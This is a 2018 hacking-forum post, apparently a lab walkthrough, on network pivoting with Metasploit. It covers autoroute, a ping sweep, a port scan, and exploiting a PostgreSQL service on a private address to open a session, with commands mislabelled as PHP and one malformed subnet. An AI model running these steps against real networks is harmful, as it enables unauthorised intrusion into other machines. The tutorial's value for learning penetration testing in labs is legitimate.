Jul 30, 2018 09:56 AM
(This post was last modified: Aug 7, 2018 06:17 AM by Last_viking.)
![[Image: WICiPAH.png]](https://i.imgur.com/WICiPAH.png)
introduction
what is pivoting ?
pivoting is a technique moving inside around a network and gaining access to other devices on LAn using the current foothold
image below
Spoiler (Click to View)
the above image discribes functionality of how pivoting works
-- steps to be taken to accomplish pivoting --
1.adding route to sessions through meterpreter this module enables pivoiting
PHP Code
<?php
autoroute
PHP Code
<?php
autoroute -s 192.168.110.1/128
2.determining devices connected on lan
PHP Code
<?php
use post/multi/gather/ping_sweep
pingsweep output
![[Image: 0jxYCV7.png]](https://i.imgur.com/0jxYCV7.png)
3.scanning targets using tcp_fast scanner
PHP Code
<?php
use auxiliary/scanner/portscan/tcp
PHP Code
<?php
set RHOSTS followedbyip/or subnetmask
scan output
![[Image: Lv5vpqL.png]](https://i.imgur.com/Lv5vpqL.png)
this machines has some vulnerable services.
listed below
- portnumber 25 runs vulnerable smtp service
- portnumber 5432 runs vulnerable postgresql service
- portnumber 21 runs vulnerable proftpd
4.exploiting vulnerable services to gain control on insecure machine
finding postgresql service version
PHP Code
<?php
auxiliary/scanner/postgres/postgres_version
PHP Code
<?php
set RHOSTS 192.168.110.170
PHP Code
<?php
run
output below
![[Image: 7RyPTXp.png]](https://i.imgur.com/7RyPTXp.png)
exploiting postgresql using postgres_payload
PHP Code
<?php
use exploit/linux/postgres/postgres_payload
PHP Code
<?php
set RHOST 192.168.110.170
PHP Code
<?php
set ExitOnSession false
PHP Code
<?php
exploit -j
![[Image: fC7Yp7S.png]](https://i.imgur.com/fC7Yp7S.png)
exploit compeleted
session created
![[Image: w50H96p.png]](https://i.imgur.com/w50H96p.png)
more information on exploit
ending up
some more pivoting tutorials
https://hackforums.net/showthread.php?tid=5426811 created by Qismon
frequent errors faced by users
PHP Code
<?php
[-] Handler failed to bind to 192.168.110.169:4444:- -
[-] Handler failed to bind to 0.0.0.0:4444:- -
[-] Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:4444)
soultion:- lsof -i -P | grep LISTENING
this error is caused by RUBY service failed to restart
-snip-


![[Image: nAnhoe4.png]](https://i.imgur.com/nAnhoe4.png)
